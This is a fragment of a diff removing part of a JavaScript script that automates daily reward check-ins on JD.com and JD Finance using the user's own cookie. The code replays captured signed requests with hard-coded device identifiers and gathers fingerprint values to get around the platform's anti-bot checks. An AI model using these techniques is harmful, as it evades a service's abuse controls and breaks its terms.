- merge.JDTurn.success += 1 - if (cc.data.chances != "0") { - await JingDongTurnSign(2000, code) - } - } else { - console.log("\n" + "京东商城-转盘签到失败 " + Details) - merge.JDTurn.fail = 1 - if (data.match(/(T215|次数为0)/)) { - merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" - } else if (data.match(/(T210|密码)/)) { - merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" - } else { - merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` - } - } - } - } catch (eor) { - $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JingRongSteel(s, body) { - merge.JRSteel = {}; - return new Promise(resolve => { - if (disable("JRSteel")) return resolve(); - if (!body) { - merge.JRSteel.fail = 1; - merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; - return resolve(); - } - setTimeout(() => { - const JRSUrl = { - url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', - headers: { - Cookie: KEY - }, - body: body || '' - }; - $nobyda.post(JRSUrl, function(error, response, data) { - try { - if (error) throw new Error(error) - const cc = JSON.parse(data) - const Details = LogDetails ? "response:\n" + data : ''; - if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { - console.log("\n" + "京东金融-钢镚签到成功 " + Details) - merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` - merge.JRSteel.success = 1 - } else { - console.log("\n" + "京东金融-钢镚签到失败 " + Details) - merge.JRSteel.fail = 1 - if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { - merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" - } else if (data.match(/未实名/)) { - merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" - } else if (cc.resultCode == 3) { - merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" - } else { - const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg - merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` - } - } - } catch (eor) { - $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JingDongShake(s) { - if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; - return new Promise(resolve => { - if (disable("JDShake")) return resolve() - setTimeout(() => { - const JDSh = { - url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', - headers: { - Cookie: KEY, - } - }; - $nobyda.get(JDSh, async function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const Details = LogDetails ? "response:\n" + data : ''; - const cc = JSON.parse(data) - const also = merge.JDShake.notify ? true : false - if (data.match(/prize/)) { - console.log("\n" + "京东商城-摇一摇签到成功 " + Details) - merge.JDShake.success += 1 - if (cc.data.prizeBean) { - merge.JDShake.bean += cc.data.prizeBean.count || 0 - merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` - } else if (cc.data.prizeCoupon) { - merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` - } else { - merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` - } - if (cc.data.luckyBox.freeTimes != 0) { - await JingDongShake(s) - } - } else { - console.log("\n" + "京东商城-摇一摇签到失败 " + Details) - if (data.match(/true/)) { - merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` - merge.JDShake.success += 1 - if (cc.data.luckyBox.freeTimes != 0) { - await JingDongShake(s) - } - } else { - merge.JDShake.fail = 1 - if (data.match(/(无免费|8000005|9000005)/)) { - merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" - } else if (data.match(/(未登录|101)/)) { - merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" - } else { - merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` - } - } - } - } - } catch (eor) { - $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JDUserSignPre(s, key, title, ac) { - merge[key] = {}; - if ($nobyda.isJSBox) { - return JDUserSignPre2(s, key, title, ac); - } else { - return JDUserSignPre1(s, key, title, ac); - } -} - -function JDUserSignPre1(s, key, title, acData, ask) { - return new Promise((resolve, reject) => { - if (disable(key, title, 1)) return reject() - const JDUrl = { - url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', - headers: { - Cookie: KEY - }, - opts: { - 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' - }, - body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` - }; - $nobyda.post(JDUrl, async function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const od = JSON.parse(data || '{}'); - const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); - const page = od.qxPage || od.paginationFlrs; - if (data.match(/enActK/)) { // 含有签到活动数据 - let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() - if (!params) { // 第一处找到签到所需数据 - // floatLayerList未找到签到所需数据,从floorList中查找 - let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) - .map(o => o.signInfos).pop(); - if (signInfo) { - if (signInfo.signStat == '1') { - console.log(`\n${title}重复签到`) - merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` - merge[key].fail = 1 - } else { - params = signInfo.params; - } - } else { - merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` - merge[key].fail = 1 - } - } - if (params) { - return resolve({ - params: params - }); // 执行签到处理 - } - } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 - const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true - if (boxds) { - console.log(`\n${title}关注店铺`) - return resolve(parseInt(turnTableId)) - } else { - merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` - merge[key].fail = 1 - } - } else if (page && !ask) { // 无签到数据, 尝试带参查询 - const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true - if (boxds) { - console.log(`\n${title}二次查询`) - return resolve(page) - } else { - merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` - merge[key].fail = 1 - } - } else { - merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` - merge[key].fail = 1 - } - } - reject() - } catch (eor) { - $nobyda.AnError(title, key, eor, response, data) - reject() - } - }) - if (out) setTimeout(reject, out + s) - }).then(data => { - disable(key, title, 2) - if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); - if (typeof(data) == "number") return JDUserSign2(s, key, title, data); - if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); - }, () => disable(key, title, 2)) -} - -function JDUserSignPre2(s, key, title, acData) { - return new Promise((resolve, reject) => { - if (disable(key, title, 1)) return reject() - const JDUrl = { - url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, - headers: { - Cookie: KEY, - } - }; - $nobyda.get(JDUrl, async function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) - const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) - const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) - if (act) { // 含有签到活动数据 - return resolve(act) - } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 - const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true - if (boxds) { - console.log(`\n${title}关注店铺`) - return resolve(parseInt(turnTable[1])) - } else { - merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` - merge[key].fail = 1 - } - } else if (page) { // 无签到数据, 尝试带参查询 - const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true - if (boxds) { - console.log(`\n${title}二次查询`) - return resolve(page[1]) - } else { - merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` - merge[key].fail = 1 - } - } else { - merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` - merge[key].fail = 1 - } - } - reject() - } catch (eor) { - $nobyda.AnError(title, key, eor, response, data) - reject() - } - }) - if (out) setTimeout(reject, out + s) - }).then(data => { - disable(key, title, 2) - if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); - if (typeof(data) == "number") return JDUserSign2(s, key, title, data) - if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) - }, () => disable(key, title, 2)) -} - -function JDUserSign1(s, key, title, body) { - return new Promise(resolve => { - setTimeout(() => { - const JDUrl = { - url: 'https://api.m.jd.com/client.action?functionId=userSign', - headers: { - Cookie: KEY - }, - body: `body=${body}&client=wh5` - }; - $nobyda.post(JDUrl, function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const Details = LogDetails ? `response:\n${data}` : ''; - if (data.match(/签到成功/)) { - console.log(`\n${title}签到成功(1)${Details}`) - if (data.match(/\"text\":\"\d+京豆\"/)) { - merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] - } - merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` - merge[key].success = 1 - } else { - console.log(`\n${title}签到失败(1)${Details}`) - if (data.match(/(已签到|已领取)/)) { - merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` - } else if (data.match(/(不存在|已结束|未开始)/)) { - merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` - } else if (data.match(/\"code\":\"?3\"?/)) { - merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` - } else { - const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) - merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` - } - merge[key].fail = 1 - } - } - } catch (eor) { - $nobyda.AnError(title, key, eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -async function JDUserSign2(s, key, title, tid) { - await new Promise(resolve => { - $nobyda.get({ - url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=qRKHmL4sna8ZOP9F`, - headers: { - Cookie: KEY - } - }, async function(error, response, data) { - try { - if(data) { - data = JSON.parse(data); - if (data.success && data.data) { - data = data.data - if (!data.hasSign) { - let ss = await Faker.getBody(`https://prodev.m.jd.com/mall/active/${tid}/index.html`) - fp = ss.fp - await getEid(ss, title) - } - } - } - } catch(eor) { - $nobyda.AnError(title, key, eor, response, data) - } finally { - resolve() - } - }) - if (out) setTimeout(resolve, out + s) - }); - return new Promise(resolve => { - setTimeout(() => { - const JDUrl = { - url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=qRKHmL4sna8ZOP9F', - headers: { - Cookie: KEY - }, - body: `turnTableId=${tid}&fp=${fp}&eid=${eid}` - }; - $nobyda.post(JDUrl, function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const Details = LogDetails ? `response:\n${data}` : ''; - if (data.match(/\"success\":true/)) { - console.log(`\n${title}签到成功(2)${Details}`) - if (data.match(/\"jdBeanQuantity\":\d+/)) { - merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] - } - merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` - merge[key].success = 1 - } else { - const captcha = /请进行验证/.test(data); - if (data.match(/(已经签到|已经领取)/)) { - merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` - } else if (data.match(/(不存在|已结束|未开始)/)) { - merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` - } else if (data.match(/(没有登录|B0001)/)) { - merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` - } else if (!captcha) { - const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) - merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` - } - if (!captcha) merge[key].fail = 1; - console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) - } - } - } catch (eor) { - $nobyda.AnError(title, key, eor, response, data) - } finally { - resolve() - } - }) - }, 200 + s) - if (out) setTimeout(resolve, out + s + 200) - }); -} - -function JDFlashSale(s) { - merge.JDFSale = {}; - return new Promise(resolve => { - if (disable("JDFSale")) return resolve() - setTimeout(() => { - const JDPETUrl = { - url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', - headers: { - Cookie: KEY - }, - body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" - }; - $nobyda.post(JDPETUrl, async function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const Details = LogDetails ? "response:\n" + data : ''; - const cc = JSON.parse(data) - if (cc.result && cc.result.code == 0) { - console.log("\n" + "京东商城-闪购签到成功 " + Details) - merge.JDFSale.bean = cc.result.jdBeanNum || 0 - merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" - merge.JDFSale.success = 1 - } else { - console.log("\n" + "京东商城-闪购签到失败 " + Details) - if (data.match(/(已签到|已领取|\"2005\")/)) { - merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" - } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { - await FlashSaleDivide(s); //瓜分京豆 - return - } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { - merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" - } else { - const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) - merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` - } - merge.JDFSale.fail = 1 - } - } - } catch (eor) { - $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function FlashSaleDivide(s) { - return new Promise(resolve => { - setTimeout(() => { - const Url = { - url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', - headers: { - Cookie: KEY - }, - body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" - }; - $nobyda.post(Url, function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const Details = LogDetails ? "response:\n" + data : ''; - const cc = JSON.parse(data) - if (cc.result.code == 0) { - merge.JDFSale.success = 1 - merge.JDFSale.bean = cc.result.jdBeanNum || 0 - merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" - console.log("\n" + "京东闪购-瓜分签到成功 " + Details) - } else { - merge.JDFSale.fail = 1 - console.log("\n" + "京东闪购-瓜分签到失败 " + Details) - if (data.match(/已参与|已领取|\"2006\"/)) { - merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" - } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { - merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" - } else if (data.match(/\"code\":\"1003\"|未获取/)) { - merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" - } else { - const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) - merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` - } - } - } - } catch (eor) { - $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JingDongCash(s) { - merge.JDCash = {}; - return new Promise(resolve => { - if (disable("JDCash")) return resolve() - setTimeout(() => { - const JDCAUrl = { - url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', - headers: { - Cookie: KEY - }, - body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" - }; - $nobyda.post(JDCAUrl, function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const Details = LogDetails ? "response:\n" + data : ''; - const cc = JSON.parse(data) - if (cc.busiCode == "0") { - console.log("\n" + "京东现金-红包签到成功 " + Details) - merge.JDCash.success = 1 - merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 - merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` - } else { - console.log("\n" + "京东现金-红包签到失败 " + Details) - merge.JDCash.fail = 1 - if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { - merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" - } else if (data.match(/(不存在|已结束)/)) { - merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" - } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { - merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" - } else { - const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; - merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` - } - } - } - } catch (eor) { - $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JDMagicCube(s, sign) { - merge.JDCube = {}; - return new Promise((resolve, reject) => { - if (disable("JDCube")) return reject() - const JDUrl = { - url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, - headers: { - Cookie: KEY, - } - }; - $nobyda.get(JDUrl, async (error, response, data) => { - try { - if (error) throw new Error(error) - const Details = LogDetails ? "response:\n" + data : ''; - console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) - if (data.match(/\"interactionId\":\d+/)) { - resolve({ - id: data.match(/\"interactionId\":(\d+)/)[1], - sign: sign || null - }) - } else if (data.match(/配置异常/) && sign) { - await JDMagicCube(s, sign == 2 ? 1 : null) - reject() - } else { - resolve(null) - } - } catch (eor) { - $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) - reject() - } - }) - if (out) setTimeout(reject, out + s) - }).then(data => { - return JDMagicCubeSign(s, data) - }, () => {}); -} - -function JDMagicCubeSign(s, id) { - return new Promise(resolve => { - setTimeout(() => { - const JDMCUrl = { - url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, - headers: { - Cookie: KEY, - } - }; - $nobyda.get(JDMCUrl, function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const Details = LogDetails ? "response:\n" + data : ''; - const cc = JSON.parse(data) - if (data.match(/(\"name\":)/)) { - console.log("\n" + "京东商城-魔方签到成功 " + Details) - merge.JDCube.success = 1 - if (data.match(/(\"name\":\"京豆\")/)) { - merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 - merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` - } else { - merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` - } - } else { - console.log("\n" + "京东商城-魔方签到失败 " + Details) - merge.JDCube.fail = 1 - if (data.match(/(一闪而过|已签到|已领取)/)) { - merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" - } else if (data.match(/(不存在|已结束)/)) { - merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" - } else if (data.match(/(\"code\":3)/)) { - merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" - } else { - merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" - } - } - } - } catch (eor) { - $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JingDongSubsidy(s) { - merge.subsidy = {}; - return new Promise(resolve => { - if (disable("subsidy")) return resolve() - setTimeout(() => { - const subsidyUrl = { - url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', - headers: { - Referer: "https://active.jd.com/forever/cashback/index", - Cookie: KEY - } - }; - $nobyda.get(subsidyUrl, function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const Details = LogDetails ? "response:\n" + data : ''; - const cc = JSON.parse(data) - if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { - console.log("\n" + "京东商城-金贴签到成功 " + Details) - merge.subsidy.subsidy = cc.resultData.data.thisAmountStr - merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` - merge.subsidy.success = 1 - } else { - console.log("\n" + "京东商城-金贴签到失败 " + Details) - merge.subsidy.fail = 1 - if (data.match(/已存在|"thisAmount":0/)) { - merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" - } else if (data.match(/请先登录/)) { - merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" - } else { - const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; - merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` - } - } - } - } catch (eor) { - $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JingRongDoll(s, key, title, code, type, num, award, belong) { - merge[key] = {}; - return new Promise(resolve => { - if (disable(key)) return resolve() - setTimeout(() => { - const DollUrl = { - url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", - headers: { - Cookie: KEY - }, - body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` - }; - $nobyda.post(DollUrl, async function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - var cc = JSON.parse(data) - const Details = LogDetails ? "response:\n" + data : ''; - if (cc.resultCode == 0) { - if (cc.resultData.data.businessData != null) { - console.log(`\n${title}查询成功 ${Details}`) - if (cc.resultData.data.businessData.pickStatus == 2) { - if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { - const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] - const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false - await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) - } else { - merge[key].success = 1 - merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` - } - } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { - if (!data.match(/"businessCode":"30\dss?q"/)) { - merge[key].success = 1 - const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) - if (code == 'F68B2C3E71' && belong == 'xianjin') { - merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 - merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` - } else if (code == 'F68B2C3E71' && belong == 'jingdou') { - merge[key].bean = ct ? ct[1] : 0; - merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` - } else if (code == '1DF13833F7') { - merge[key].subsidy = ct ? ct[1] : 0; - merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` - } - } else { - const es = cc.resultData.data.businessMsg - const ep = cc.resultData.data.businessData.businessMsg - const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` - merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` - merge[key].fail = 1 - } - } else { - merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; - merge[key].fail = 1 - } - } else if (cc.resultData.data.businessCode == 200) { - console.log(`\n${title}签到成功 ${Details}`) - if (!award) { - merge[key].bean = num ? num.match(/\d+/)[0] : 0 - } else { - merge[key].subsidy = num || 0 - } - merge[key].success = 1 - merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` - } else { - console.log(`\n${title}领取异常 ${Details}`) - if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); - merge[key].fail = 1; - merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; - } - } else { - console.log(`\n${title}签到失败 ${Details}`) - const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' - merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` - merge[key].fail = 1; - } - } - } catch (eor) { - $nobyda.AnError(title, key, eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JingDongGetCash(s) { - merge.JDGetCash = {}; - return new Promise(resolve => { - if (disable("JDGetCash")) return resolve() - setTimeout(() => { - const GetCashUrl = { - url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', - headers: { - Cookie: KEY, - } - }; - $nobyda.get(GetCashUrl, function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const cc = JSON.parse(data); - const Details = LogDetails ? "response:\n" + data : ''; - if (cc.data.success && cc.data.result) { - console.log("\n" + "京东商城-现金签到成功 " + Details) - merge.JDGetCash.success = 1 - merge.JDGetCash.Money = cc.data.result.signCash || 0 - merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` - } else { - console.log("\n" + "京东商城-现金签到失败 " + Details) - merge.JDGetCash.fail = 1 - if (data.match(/\"bizCode\":201|已经签过/)) { - merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" - } else if (data.match(/\"code\":300|退出登录/)) { - merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" - } else { - merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" - } - } - } - } catch (eor) { - $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JingDongStore(s) { - merge.JDGStore = {}; - return new Promise(resolve => { - if (disable("JDGStore")) return resolve() - setTimeout(() => { - $nobyda.get({ - url: 